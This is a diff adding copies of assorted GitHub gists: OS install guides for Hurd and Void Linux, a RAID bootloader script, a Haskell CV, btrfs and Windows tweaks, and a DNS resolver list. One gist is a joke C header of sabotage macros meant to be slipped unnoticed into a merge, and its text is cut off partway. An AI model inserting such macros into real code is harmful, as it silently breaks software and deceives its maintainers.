to xinit, with this command: + + $ chmod u+s /usr/bin/xinit + + - **Try the desktop** + + ![*Desktop*](https://gist.githubusercontent.com/AlmuHS/f0c036631881756e817504d28217a910/raw/1c240c65a6063f7873dd0e4a04b0da2d0930f7d0/desktop.png) + + #### More info: https://www.debian.org/ports/hurd/hurd-install + +``` + + diff --git a/content/gists/cd0c76e376926be69d9423f54bad04af.md b/content/gists/cd0c76e376926be69d9423f54bad04af.md new file mode 100644 index 000000000..226a7b359 --- /dev/null +++ b/content/gists/cd0c76e376926be69d9423f54bad04af.md @@ -0,0 +1,76 @@ +--- +title: "Things to commit just before leaving your job" +type: gist +gist_id: "cd0c76e376926be69d9423f54bad04af" +gist_name: "Things to commit just before leaving your job preprocessor_fun.h" +gist_url: https://gist.github.com/dominicusin/cd0c76e376926be69d9423f54bad04af +updated_at: "2018-09-17T06:32:45Z" +files: ["preprocessor_fun.h"] +--- +_Things to commit just before leaving your job_ + +## preprocessor_fun.h + +```C +// Just before switching jobs: +// Add one of these. +// Preferably into the same commit where you do a large merge. +// +// This started as a tweet with a joke of "C++ pro-tip: #define private public", +// and then it quickly escalated into more and more evil suggestions. +// I've tried to capture interesting suggestions here. +// +// Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_, +// @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant, +// @KarlHillesland, @rexguo, @tom_forsyth, @bkaradzic, @MikeNicolella, +// @AlexWDunn and myself. +// +// In case it's not clear: I am not suggesting you *actually* do this! + + +// Easy keyword replacement. Too easy to detect I think! +#define struct union +#define if while +#define else +#define break +#define if(x) +#define double float +#define volatile // this one is cool + +// I heard you like math +#define M_PI 3.2f +#undef FLT_MIN #define FLT_MIN (-FLT_MAX) +#define floor ceil +#define isnan(x) false + +// Randomness based; "works" most of the time. +#define true ((__LINE__&15)!=15) +#define true ((rand()&15)!=15) +#define if(x) if ((x) && (rand() < RAND_MAX * 0.99)) + +// String/memory handling, probably can live undetected quite long! +#define memcpy strncpy +#define strcpy(a,b) memmove(a,b,strlen(b)+2) +#define strcpy(a,b) (((a & 0xFF) == (b & 0xFF)) ? strcpy(a+1,b) : strcpy(a, b)) +#define memcpy(d,s,sz) do { for (int i=0;i/dev/null|grep -v \*` + +``` + + diff --git a/content/gists/d2bdeb0251cce6969c3899624f3e5413.md b/content/gists/d2bdeb0251cce6969c3899624f3e5413.md new file mode 100644 index 000000000..fad8c3acf --- /dev/null +++ b/content/gists/d2bdeb0251cce6969c3899624f3e5413.md @@ -0,0 +1,147 @@ +--- +title: "Моё резюме, написанное на Haskell" +type: gist +gist_id: "d2bdeb0251cce6969c3899624f3e5413" +gist_name: "Моё резюме, написанное на Haskell CV.hs" +gist_url: https://gist.github.com/dominicusin/d2bdeb0251cce6969c3899624f3e5413 +updated_at: "2018-01-17T15:03:08Z" +files: ["CV.hs"] +--- +_Моё резюме, написанное на Haskell_ + +## CV.hs + +```Haskell +{- + Денис Шевченко, 2015 +-} + +module Main where + +import Control.Monad.Writer.Lazy +import Data.Functor ((<$>)) +import Data.List (dropWhileEnd) +import Data.Char (isSpace) + +type InfoAboutMe = String +type InfoCloud = Writer InfoAboutMe () + +type Company = String +type Years = (Int, Int) +type Position = String + +showYears :: Years -> String +showYears years = (show . fst $ years) ++ " - " ++ (show . snd $ years) + +indent = " " +bigIndent = " * " +comma = ", " + +name :: InfoCloud +name = tell $ indent ++ "Denis Shevchenko" ++ "\n" + +contacts :: InfoCloud +contacts = + let rawContactsLines = ["website: http://dshevchenko.biz", + "email: me@dshevchenko.biz", + "GitHub: /denisshevchenko", + "Google+: +DenisShevchenko", + "Facebook: dshevchenko.biz" + "LinkedIn: /in/dshevchenkobiz"] + contactsLinesWithNL = (++ "\n") <$> rawContactsLines + prettyContactsLines = (bigIndent ++) <$> contactsLinesWithNL + in + tell $ concat prettyContactsLines + +skills :: InfoCloud +skills = do + tell $ "\n" ++ indent ++ "Skills: " + tell $ dropWhileEnd (\char -> char == ',' || isSpace char) + $ concatMap (++ comma) ["Haskell", + "C++11", + "OS X", + "Linux", + "NixOS", + "Bootstrap", + "Yesod", + "Hakyll"] + +workAt :: Company -> Years -> Position -> InfoCloud +workAt company years position = + tell $ concat [bigIndent, + company, + comma, + showYears years, + comma, + position, + "\n"] + +experience :: InfoCloud +experience = do + tell $ "\n\n" ++ indent ++ "Experience:\n" + workAt "SCC" (2006, 2008) "C++ developer" + >> workAt "Infrasoft" (2008, 2009) "C++ developer" + >> workAt "UnicommTelematics" (2009, 2011) "C++ developer" + >> workAt "OVSoft" (2011, 2012) "C++ developer" + >> workAt "ParagonSoftware" (2013, 2015) "Senior developer" + >> workAt "ParagonSoftware" (2013, 2015) "Senior developer" + >> workAt "ZALORA Group" (2015, "now") "DevOps Engineer" + +education :: Years -> InfoCloud +education years = + tell $ "\n\n" ++ indent ++ "Education: " + ++ showYears years ++ comma + ++ "Moscow State Technological University \"Stankin\"" + +openProjects :: InfoCloud +openProjects = + tell $ "\n" ++ indent ++ "Open projects:\n" ++ + foldl1 (++) [bigIndent ++ aProject ++ "\n" | aProject <- projects] + where projects = ["Thoughts: http://blog.dshevchenko.biz", + "О Haskell по-человечески: http://ohaskell.dshevchenko.biz", + "ruHaskell: http://ruhaskell.org"] + +main :: IO () +main = + let infoAboutMe = execWriter $ sequence_ [name, + contacts, + skills, + education (1999, 2004), + experience, + openProjects] + in + putStrLn infoAboutMe + +unusedTechnologies = "Microsoft" + +{- +Output: + + Denis Shevchenko + * website: http://dshevchenko.biz + * email: me@dshevchenko.biz + * GitHub: /denisshevchenko + * Google+: +DenisShevchenko + * Facebook: dshevchenko.biz + * LinkedIn: /in/dshevchenkobiz + + Skills: Haskell, C++11, OS X, Linux, NixOS, Bootstrap, Yesod, Hakyll + + Education: 1999 - 2004, Moscow State Technological University "Stankin" + + Experience: + * SCC, 2006 - 2008, C++ developer + * Infrasoft, 2008 - 2009, C++ developer + * UnicommTelematics, 2009 - 2011, C++ developer + * OVSoft, 2011 - 2012, C++ developer + * ParagonSoftware, 2013 - 2015, Senior developer + * ZALORA Group, 2015 - now, DevOps Engineer + + Open projects: + * Thoughts: http://blog.dshevchenko.biz + * О Haskell по-человечески: http://ohaskell.dshevchenko.biz + * ruHaskell: http://ruhaskell.org +-} +``` + + diff --git a/content/gists/d36e39ec0183f56f230ffed9dacfbab4.md b/content/gists/d36e39ec0183f56f230ffed9dacfbab4.md new file mode 100644 index 000000000..2ee6437fd --- /dev/null +++ b/content/gists/d36e39ec0183f56f230ffed9dacfbab4.md @@ -0,0 +1,226 @@ +--- +title: "raid_bootloader_install" +type: gist +gist_id: "d36e39ec0183f56f230ffed9dacfbab4" +gist_name: "raid_bootloader_install raid_bootloader_install.sh" +gist_url: https://gist.github.com/dominicusin/d36e39ec0183f56f230ffed9dacfbab4 +updated_at: "2024-06-19T07:43:53Z" +files: ["raid_bootloader_install.sh"] +--- +_raid_bootloader_install_ + +## raid_bootloader_install.sh + +```Shell +#!/bin/bash + +# Переменные для разделов и RAID массива +raid_device="/dev/md0" +efi_partitions=("/dev/sdd2" "/dev/sdb2" "/dev/nvme2n1p2" "/dev/sdc2" "/dev/nvme1n1p2" "/dev/sda2") +mount_point="/mnt/efi" +backup_dir="/tmp/efi_backup" +log_file="/var/log/raid_bootloader_install.log" + +# Функция для логирования сообщений +log() { + local message=$1 + echo "$(date '+%Y-%m-%d %H:%M:%S') : $message" | tee -a $log_file +} + +# Функция для проверки и размонтирования mount_point +ensure_unmounted() { + if mountpoint -q $mount_point; then + sudo umount $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось размонтировать $mount_point" + exit 1 + fi + fi +} + +# Функция для установки GRUB на диск +install_grub() { + local disk=$1 + sudo mount $disk $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось смонтировать $disk на $mount_point" + exit 1 + fi + sudo grub-install --target=x86_64-efi --efi-directory=$mount_point --bootloader-id=GRUB --recheck + if [ $? -ne 0 ]; then + log "Ошибка: не удалось установить GRUB на $disk" + exit 1 + fi + sudo umount $mount_point + log "GRUB успешно установлен на $disk" +} + +# Функция для установки systemd-boot на диск +install_systemd_boot() { + local disk=$1 + sudo mount $disk $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось смонтировать $disk на $mount_point" + exit 1 + fi + sudo bootctl --path=$mount_point install + if [ $? -ne 0 ]; then + log "Ошибка: не удалось установить systemd-boot на $disk" + exit 1 + fi + sudo umount $mount_point + log "systemd-boot успешно установлен на $disk" +} + +# Функция для установки rEFInd на диск +install_refind() { + local disk=$1 + sudo mount $disk $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось смонтировать $disk на $mount_point" + exit 1 + fi + sudo refind-install --root $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось установить rEFInd на $disk" + exit 1 + fi + sudo umount $mount_point + log "rEFInd успешно установлен на $disk" +} + +# Функция для установки Limine на диск +install_limine() { + local disk=$1 + sudo mount $disk $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось смонтировать $disk на $mount_point" + exit 1 + fi + sudo limine-install $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось установить Limine на $disk" + exit 1 + fi + sudo umount $mount_point + log "Limine успешно установлен на $disk" +} + +# Функция для установки LILO на диск +install_lilo() { + local disk=$1 + sudo mount $disk $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось смонтировать $disk на $mount_point" + exit 1 + fi + sudo lilo -M $disk + if [ $? -ne 0 ]; then + log "Ошибка: не удалось установить LILO на $disk" + exit 1 + fi + sudo umount $mount_point + log "LILO успешно установлен на $disk" +} + +# Функция для копирования содержимого /boot/efi на диск +copy_boot_contents() { + local disk=$1 + sudo mount $disk $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось смонтировать $disk на $mount_point" + exit 1 + fi + sudo cp -r /boot/efi/* $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось скопировать содержимое /boot/efi на $disk" + exit 1 + fi + sudo umount $mount_point + log "Содержимое /boot/efi успешно скопировано на $disk" +} + +# Сохранение содержимого EFI раздела +backup_efi() { + sudo mkdir -p $backup_dir + sudo mount $1 $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось смонтировать $1 на $mount_point для сохранения" + exit 1 + fi + sudo cp -r $mount_point/* $backup_dir/ + if [ $? -ne 0 ]; then + log "Ошибка: не удалось сохранить содержимое $1" + exit 1 + fi + sudo umount $mount_point + log "Содержимое EFI раздела успешно сохранено из $1" +} + +# Восстановление содержимого EFI раздела +restore_efi() { + sudo mount $raid_device $mount_point + if [ $? -ne 0 ]; then + log "Ошибка: не удалось смонтировать $raid_device на $mount_point для восстановления" + exit 1 + fi + sudo cp -r $backup_dir/* $mount_point/ + if [ $? -ne 0 ]; then + log "Ошибка: не удалось восстановить содержимое на $raid_device" + exit 1 + fi + sudo umount $mount_point + log "Содержимое EFI раздела успешно восстановлено на $raid_device" +} + +# Остановка RAID +log "Остановка RAID массива $raid_device" +sudo mdadm --stop $raid_device +if [ $? -ne 0 ]; then + log "Ошибка: не удалось остановить RAID массив $raid_device" + exit 1 +fi + +# Убедиться, что mount_point размонтирован +ensure_unmounted + +# Установка загрузчиков на каждый диск +for disk in "${efi_partitions[@]}"; do + log "Установка загрузчиков на $disk" + install_grub $disk + install_systemd_boot $disk + install_refind $disk + install_limine $disk + install_lilo $disk + copy_boot_contents $disk +done + +# Сохранение содержимого одного из EFI разделов +log "Сохранение содержимого EFI раздела с ${efi_partitions[0]}" +backup_efi ${efi_partitions[0]} + +# Пересоздание RAID с сохранением содержимого (метаданные версии 1.0) +log "Пересоздание RAID массива $raid_device с метаданными версии 1.0" +sudo mdadm --create --verbose $raid_device --level=1 --raid-devices=${#efi_partitions[@]} --metadata=1.0 ${efi_partitions[@]} +if [ $? -ne 0 ]; then + log "Ошибка: не удалось создать RAID массив $raid_device" + exit 1 +fi + +# Восстановление содержимого EFI раздела +log "Восстановление содержимого EFI раздела на $raid_device" +restore_efi + +# Монтаж RAID +log "Монтаж RAID массива $raid_device на /boot/efi" +sudo mount $raid_device /boot/efi +if [ $? -ne 0 ]; then + log "Ошибка: не удалось смонтировать $raid_device на /boot/efi" + exit 1 +fi + +log "Установка загрузчиков завершена и RAID массив успешно пересобран." + +``` + + diff --git a/content/gists/d52bb02582485fa5956de290d8c35639.md b/content/gists/d52bb02582485fa5956de290d8c35639.md new file mode 100644 index 000000000..1faad6907 --- /dev/null +++ b/content/gists/d52bb02582485fa5956de290d8c35639.md @@ -0,0 +1,319 @@ +--- +title: "Void Linux Installation Guide (UEFI + chroot + brtfs + LUKS-encrypted root and swapfile)" +type: gist +gist_id: "d52bb02582485fa5956de290d8c35639" +gist_name: "Void Linux Installation Guide (UEFI + chroot + brtfs + LUKS-encrypted root and swapfile) README.md" +gist_url: https://gist.github.com/dominicusin/d52bb02582485fa5956de290d8c35639 +updated_at: "2022-02-13T20:44:04Z" +files: ["README.md"] +--- +_Void Linux Installation Guide (UEFI + chroot + brtfs + LUKS-encrypted root and swapfile)_ + +## README.md + +```Markdown +# Installation guide for Void Linux with LUKS-encrypted btrfs root + +## NOTE +I have ported this Gist to a handbook. I'll not maintain this Gist anymore, but will keep it here for future references. You can access the respective chapter in the handbook [here](https://help.gsr.dev/void-linux/ch01-00-introduction.html). + +## Introduction +In this guide you will find: +- btrfs with Zstandard compression +- LUKS-encrypted root and swapfile +- GRUB with UEFI + +You will **not** find: +- Instructions for file systems other than btrfs +- Full disk encryption (there's an official guide [here](https://docs.voidlinux.org/installation/guides/fde.html)) +- Explanation for all choices I've made (sometimes I don't know the true reason behind my choices) + +## Index +1. [Setting up the live ISO](#setting-up-the-live-iso) + 1. [Logging in](#logging-in) + 2. [Configuring the keyboard layout](#configuring-the-keyboard-layout) + 3. [Connecting to the internet](#connecting-to-the-internet) +2. [Formatting disks](#formatting-disks) + 1. [Partitioning](#partitioning) + 2. [Creating the file systems](#creating-the-file-systems) + 1. [EFI partition](#efi-partition) + 2. [Boot partition](#boot-partition) + 3. [LUKS-encrypted root partition](#luks-encrypted-root-partition) + 3. [Mounting partitions](#mounting-partitions) + 1. [Root partition](#root-partition) + 2. [EFI and boot partitions](#efi-and-boot-partitions) +3. [Installing the system](#installing-the-system) + 1. [Base installation](#base-installation) + 2. [Running `chroot`](#running-chroot) + 3. [Basic configuration](#basic-configuration) + 1. [Hostname](#hostname) + 2. [System configuration information](#system-configuration-information) + 3. [Configuring locales](#configuring-locales) + 4. [Root password](#root-password) + 5. [Configuring `fstab`](#configuring-fstab) + 6. [Setting up Dracut](#setting-up-dracut) + 4. [Finishing installation](#finishing-installation) + 1. [Intel microcode](#intel-microcode) + 2. [GRUB](#grub) + 3. [Swapfile](#swapfile) + 4. [Regenerating configurations](#regenerating-configurations) +4. [Post-installation](#post-installation) + 1. [Creating the main user](#creating-the-main-user) + 2. [Session management](#session-management) + +## Setting up the live ISO +### Logging in +There are two available users, `root` (superuser) and `anon`. The password of both is `voidlinux`. I like to log in using the superuser so I don't have to type `sudo` at all. I highly suggest you run `exec bash` so you don't have to deal with `dash`'s limitations. + +### Configuring the keyboard layout +If you need a different layout other than `en-US`, you can do the following: +```console +# loadkeys $(ls /usr/share/kbd/keymaps/i386/**/*.map.gz | grep ) +``` + +### Connecting to the internet +```console +# cp /etc/wpa_supplicant/wpa_supplicant.conf /etc/wpa_supplicant/wpa_supplicant-.conf +# wpa_passphrase >> /etc/wpa_supplicant/wpa_supplicant-.conf +# sv restart dhcpcd +# ip link set up +``` + +## Formatting disks +### Partitioning +The minimum number of partitions is three: +- The EFI partition (`/efi`) +- The boot partition, where kernels are stored (`/boot`) +- The LUKS-encrypted btrfs root partition + +So, first we need to generate the partition tables. Check which device is the one you want to install Void into. For this guide I'll simply use `/dev/sda`, but it can change depending on your setup, so watch out! Back to the partition tables: +```console +# fdisk /dev/sda +``` + +After running `fdisk`, it will prompt you with a menu, so follow these steps: +1. Select `g` to generate a GTP table +2. Select `n` to create the EFI partition with size of +200M +3. After creating the partition, change its type by selecting `t` and then selecting the option that represents EFI Partition (generally 1) +4. Select `n` to create the boot partition with size of +500M (more space means more kernels, I like using +800M) +5. Select `n` to create the btrfs partition with the remaining size + +### Creating the file systems +#### EFI partition +```console +# mkfs.vfat -nBOOT -F32 /dev/sda1 +``` + +#### Boot partition +```console +# mkfs.ext2 -L grub /dev/sda2 +``` + +#### LUKS-encrypted root partition +```console +# cryptsetup luksFormat --type=luks -s=512 /dev/sda3 +# cryptsetup open /dev/sda3 cryptroot +# mkfs.btrfs -L void /dev/mapper/cryptroot +``` + +### Mounting partitions +#### Root partition +First, let's mount the main btrfs partition: +```console +# BTRFS_OPTS="rw,noatime,ssd,compress=zstd,space_cache,commit=120" +# mount -o $BTRFS_OPTS /dev/mapper/cryptroot /mnt +# btrfs subvolume create /mnt/@ +# btrfs subvolume create /mnt/@home +# btrfs subvolume create /mnt/@snapshots +# umount /mnt +``` + +Then, let's mount the top-level partitions: +##### `/` +```console +# mount -o $BTRFS_OPTS,subvol=@ /dev/mapper/cryptroot /mnt +``` + +##### `/home` +```console +# mkdir -p /mnt/home +# mount -o $BTRFS_OPTS,subvol=@home /dev/mapper/cryptroot /mnt/home +``` + +##### `/.snapshots` +```console +# mkdir -p /mnt/.snapshots +# mount -o $BTRFS_OPTS,subvol=@snapshots /dev/mapper/cryptroot /mnt/.snapshots +``` + +> **NOTE:** Configure mount options according to your needs. + +After that, let's mount some nested partitions, which won't have a snapshot taken, since snapshots don't work resursively: +```console +# mkdir -p /mnt/var/cache +# btrfs subvolume create /mnt/var/cache/xbps +# btrfs subvolume create /mnt/var/tmp +# btrfs subvolume create /mnt/srv +``` +You also need to create a nested subvolume for the swapfile: +```console +# btrfs subvolume create /mnt/var/swap +``` + +#### EFI and boot partitions +Once the root partition is mounted, it is time to mount the remaining ones: +##### `/efi` +```console +# mkdir /mnt/efi +# mount -o rw,noatime /dev/sda1 /mnt/efi +``` + +##### `/boot` +```console +# mkdir /mnt/boot +# mount -o rw,noatime /dev/sda2 /mnt/boot +``` + +## Installing the system +### Base installation +Set the appropriate variables (this may vary depending on your needs): +```console +# REPO=https://alpha.us.repo.voidlinux.org/current +# ARCH=x86_64 +``` + +If using `musl`, the values might be something like: +```console +# REPO=https://alpha.us.repo.voidlinux.org/current/musl +# ARCH=x86_64-musl +``` + +> **NOTE:** [Here is a handful of mirrors](https://docs.voidlinux.org/xbps/repositories/mirrors/index.html). + +Then run: +```console +XBPS_ARCH=$ARCH xbps-install -S -R "$REPO" -r /mnt base-system btrfs-progs cryptsetup +``` + +The command above installs the base system along with btrfs utilites, GRUB and dm-crypt utility, which are core parts of this setup. + +### Running `chroot` +Mount the pseudo file systems needed for a `chroot`: +```console +# for dir in dev proc sys run; do mount --rbind /$dir /mnt/$dir; mount --make-rslave /mnt/$dir; done +``` + +Copy the DNS configuration into the new root so that XBPS can still download new packages inside the `chroot`: +```console +# cp /etc/resolv.conf /mnt/etc/ +``` + +Then `chroot` into the new installation: +```console +# BTRFS_OPTS=$BTRFS_OPTS PS1='(chroot) # ' chroot /mnt/ /bin/bash +``` + +### Basic configuration +#### Hostname +Write the desired hostname to `/etc/hostname`. + +#### System configuration information +Refer to [this documentation](https://docs.voidlinux.org/config/rc-files.html#rcconf) in order to configure your `rc.conf` file. + +#### Configuring locales +For glibc installations, edit `/etc/default/libc-locales`, then run: +```console +(chroot) # xbps-reconfigure -f glibc-locales +``` + +#### Root password +```console +(chroot) # passwd +``` + +#### Configuring `fstab` +```console +(chroot) # UEFI_UUID=$(blkid -s UUID -o value /dev/sda1) +(chroot) # GRUB_UUID=$(blkid -s UUID -o value /dev/sda2) +(chroot) # ROOT_UUID=$(blkid -s UUID -o value /dev/mapper/cryptroot) +(chroot) # cat < /etc/fstab +UUID=$ROOT_UUID / btrfs $BTRFS_OPTS,subvol=@ 0 1 +UUID=$UEFI_UUID /efi vfat defaults,noatime 0 2 +UUID=$GRUB_UUID /boot ext2 defaults,noatime 0 2 +UUID=$ROOT_UUID /home btrfs $BTRFS_OPTS,subvol=@home 0 2 +UUID=$ROOT_UUID /.snapshots btrfs $BTRFS_OPTS,subvol=@snapshots 0 2 +tmpfs /tmp tmpfs defaults,nosuid,nodev 0 0 +EOF +``` + +#### Setting up Dracut +I advise doing a "hostonly" install, that is, Dracut will generate a lean initramfs with everything you might need, including `i915` drivers if you have an Intel CPU with integrated graphics: +```console +(chroot) # echo hostonly=yes >> /etc/dracut.conf +``` + +### Finishing installation +#### Intel microcode +```console +(chroot) # xbps-install -Su void-repo-nonfree intel-ucode +``` + +#### GRUB +```console +(chroot) # xbps-install grub-x86_64-efi +(chroot) # grub-install --target=x86_64-efi --efi-directory=/efi --bootloader-id="Void Linux" +``` + +#### Swapfile +In order to have an encrypted swap, let's use a more modern approach by using a swapfile as our swap partition. For this example, I'll create a swapfile of 16 GiB, but you can choose the best size for your installation: +```console +(chroot) # btrfs subvolume create /var/swap +(chroot) # truncate -s 0 /var/swap/swapfile +(chroot) # chattr +C /var/swap/swapfile +(chroot) # btrfs property set /var/swap/swapfile compression none +(chroot) # chmod 600 /var/swap/swapfile +(chroot) # dd if=/dev/zero of=/var/swap/swapfile bs=1G count=16 status=progress +(chroot) # mkswap /var/swap/swapfile +(chroot) # swapon /var/swap/swapfile +``` + +After that, follow [this Arch's guide](https://wiki.archlinux.org/index.php/Power_management/Suspend_and_hibernate#Hibernation_into_swap_file_on_Btrfs) on calculating the `resume_offset` kernel parameter for btrfs. + +> **HINT:** You can use XBPS to compile the `btrfs_map_physical` for you by using [my own template](https://github.com/gbrlsnchs/void-packages/tree/btrfs_map_physical). Just clone the branch and use `xbps-src` as usual to `pkg` the `btrfs_map_physical` package. + +After calculating it, append the following line to GRUB's config: +```console +(chroot) # RESUME_OFFSET= +(chroot) # cat <> /etc/default/grub +GRUB_CMDLINE_LINUX="resume=UUID=$ROOT_UUID resume_offset=$RESUME_OFFSET" +EOF +``` + +> **NOTE:** You need Linux 5.0+ in order to use a swapfile with btrfs. + +#### Regenerating configurations +```console +(chroot) # xbps-reconfigure -fa +(chroot) # exit +# shutdown -r now +``` + +### Post-installation +#### Creating the main user +Log in as root and then run: +```console +# xbps-install -S zsh +# useradd -m -G wheel,input,video -s /bin/zsh +# passwd +# visudo +``` + +After running `visudo`, uncomment the line that contains `%wheel`. Log out and then log in with the newly created user. + +> **NOTE:** If you want to lock down the root account, you can run `sudo passwd -dl root`. Be careful though, since you won't be able to log in using the root account anymore. + +#### Session management +Please refer to [this official guide](https://docs.voidlinux.org/config/session-management.html) from the handbook. +``` + + diff --git a/content/gists/d62243a22926774129eb32dfa067da16.md b/content/gists/d62243a22926774129eb32dfa067da16.md new file mode 100644 index 000000000..d94808cd5 --- /dev/null +++ b/content/gists/d62243a22926774129eb32dfa067da16.md @@ -0,0 +1,29 @@ +--- +title: "win net" +type: gist +gist_id: "d62243a22926774129eb32dfa067da16" +gist_name: "win net winda" +gist_url: https://gist.github.com/dominicusin/d62243a22926774129eb32dfa067da16 +updated_at: "2021-03-03T09:49:02Z" +files: ["winda"] +--- +_win net_ + +## winda + +``` +netsh interface tcp show global + +[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory] +"LargeSystemCache"=dword:00000001 +[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters] +"Size"=dword:00000003 +[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanWorkstation] +"MaxCmds"=dword:0000001e +"MaxThreads"=dword:0000001e +"MaxCollectionCount"=dword:00000020 + + +``` + + diff --git a/content/gists/d893d3dea0fac20a7175237ad38fcb96.md b/content/gists/d893d3dea0fac20a7175237ad38fcb96.md new file mode 100644 index 000000000..9185a7229 --- /dev/null +++ b/content/gists/d893d3dea0fac20a7175237ad38fcb96.md @@ -0,0 +1,45 @@ +--- +title: "nixos" +type: gist +gist_id: "d893d3dea0fac20a7175237ad38fcb96" +gist_name: "nixos nixos" +gist_url: https://gist.github.com/dominicusin/d893d3dea0fac20a7175237ad38fcb96 +updated_at: "2020-04-14T20:57:03Z" +files: ["nixos"] +--- +_nixos_ + +## nixos + +```Shell +#!/bin/sh --verbose + +nix-collect-garbage -d +nix-store --gc +nix-store --verify --check-contents --repair +nix-store --optimise + +chattr -R +c / + +btrfs device scan --all-devices +for filesystem in $(mount -t btrfs | awk '{print $3}' ) +do + mount -o remount,clear_cache,compress=zlib,rw $filesystem + btrfs property set $filesystem compression zlib + btrfs filesystem resize max $filesystem + btrfs filesystem sync $filesystem +done + + + +btrfs scrub start -BdRf / +btrfs fi def -czlib -v -r -f / +btrfs balance start -v -f --full-balance -dconvert=single,usage=99 -mconvert=single,usage=99 -sconvert=single,usage=99 / + +bedup dedup +fdupes -r -S / | duperemove --fdupes +duperemove -drh /* + +``` + + diff --git a/content/gists/db842f92c4bdf62cd9cebddaff0da00b.md b/content/gists/db842f92c4bdf62cd9cebddaff0da00b.md new file mode 100644 index 000000000..7dd386db7 --- /dev/null +++ b/content/gists/db842f92c4bdf62cd9cebddaff0da00b.md @@ -0,0 +1,27 @@ +--- +title: "strip package version gentoo" +type: gist +gist_id: "db842f92c4bdf62cd9cebddaff0da00b" +gist_name: "strip package version gentoo strip version" +gist_url: https://gist.github.com/dominicusin/db842f92c4bdf62cd9cebddaff0da00b +updated_at: "2022-03-28T23:32:11Z" +files: ["strip version"] +--- +_strip package version gentoo_ + +## strip version + +```Python +#!/bin/env python + +import sys +from portage.dep import Atom + +for arg in sys.argv[1:]: + atom = Atom(arg) + print(atom.cp) + + +``` + + diff --git a/content/gists/df6ba9a693aef08b7cca12f751f784c7.md b/content/gists/df6ba9a693aef08b7cca12f751f784c7.md new file mode 100644 index 000000000..d012bfe71 --- /dev/null +++ b/content/gists/df6ba9a693aef08b7cca12f751f784c7.md @@ -0,0 +1,175 @@ +--- +title: "dns" +type: gist +gist_id: "df6ba9a693aef08b7cca12f751f784c7" +gist_name: "dns gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/df6ba9a693aef08b7cca12f751f784c7 +updated_at: "2025-08-13T17:32:08Z" +files: ["gistfile1.txt"] +--- +_dns_ + +## gistfile1.txt + +```Text +quic://dns.adguard-dns.com +quic://dns.comss.one +quic://dns.jupitrdns.com +quic://dns.surfsharkdns.com +quic://family.adguard-dns.com +quic://ibksturm.synology.me +quic://router.comss.one +quic://unfiltered.adguard-dns.com +quic://zero.dns0.eu +tls://101.101.101.101 +tls://adblock.dns.mullvad.net +tls://adult-filter-dns.cleanbrowsing.org +tls://all.dns.mullvad.net +tls://anycast.censurfridns.dk +tls://anycast.dns.nextdns.io +tls://base.dns.mullvad.net +tls://child.joindns4.eu +tls://child-noads.joindns4.eu +tls://common.dot.dns.yandex.net +tls://dns10.quad9.net +tls://dns11.quad9.net +tls://dns.adguard-dns.com +tls://dns.alidns.com +tls://dns.cmrg.net +tls://dns.digitale-gesellschaft.ch +tls://dns-dot.dnsforfamily.com +tls://dnsforge.de +tls://dns.google +tls://dnsguard.pub +tls://dns.jupitrdns.com +tls://dns.marbledfennec.net +tls://dns.nextdns.io +tls://dns.opendns.com +tls://dns.quad9.net +tls://dns.surfsharkdns.com +tls://dns.switch.ch +tls://dot1.applied-privacy.net +tls://dot.360.cn +tls://dot.ffmuc.net +tls://dot.la.ahadns.net +tls://dot.libredns.gr +tls://dot.onedns.net +tls://dot.pub +tls://dot-pure.onedns.net +tls://dot.sb +tls://dot.tiar.app +tls://extended.dns.mullvad.net +tls://family.adguard-dns.com +tls://family.canadianshield.cira.ca +tls://family.cloudflare-dns.com +tls://family.dns.mullvad.net +tls://family.dot.dns.yandex.net +tls://family-filter-dns.cleanbrowsing.org +tls://familyshield.opendns.com +tls://getdnsapi.net +tls://ibksturm.synology.me +tls://jp.tiar.app +tls://noads.joindns4.eu +tls://odvr.nic.cz +tls://one.one.one.one +tls://ordns.he.net +tls://p1.freedns.controld.com +tls://p2.freedns.controld.com +tls://p3.freedns.controld.com +tls://private.canadianshield.cira.ca +tls://protected.canadianshield.cira.ca +tls://protective.joindns4.eu +tls://public.dns.iij.jp +tls://router.comss.one +tls://safe.dot.dns.yandex.net +tls://sandbox.opendns.com +tls://security.cloudflare-dns.com +tls://security-filter-dns.cleanbrowsing.org +tls://unfiltered.adguard-dns.com +tls://unicast.censurfridns.dk +tls://wikimedia-dns.org +quic://dns.adguard-dns.com +quic://dns.alidns.com:853 +quic://dns.comss.one +quic://dns.jupitrdns.com +quic://dns.surfsharkdns.com +quic://doh.tiar.app:784 +quic://family.adguard-dns.com +quic://ibksturm.synology.me +quic://router.comss.one +quic://unfiltered.adguard-dns.com +quic://zero.dns0.eu +https://adblock.dns.mullvad.net/dns-query +https://all.dns.mullvad.net/dns-query +https://anycast.dns.nextdns.io/dns-query +https://base.dns.mullvad.net/dns-query +https://basic.rethinkdns.com/ +https://child.joindns4.eu/dns-query +https://child-noads.joindns4.eu/dns-query +https://common.dot.dns.yandex.net/dns-query +https://dns10.quad9.net/dns-query +https://dns11.quad9.net/dns-query +https://dns.adguard-dns.com/dns-query +https://dns.alidns.com/dns-query +https://dns.caliph.dev/dns-query +https://dns.cloudflare.com/dns-query +https://dns.comss.one/dns-query +https://dns.digitale-gesellschaft.ch/dns-query +https://dnsforge.de/dns-query +https://dns.google/dns-query +https://dns.jupitrdns.com/dns-query +https://dns.marbledfennec.net/dns-query +https://dns.mullvad.net/dns-query +https://dns.nextdns.io/dns-query +https://dns.pub/dns-query +https://dns.quad9.net/dns-query +https://dns.rabbitdns.org/dns-query +https://dns.surfsharkdns.com/dns-query 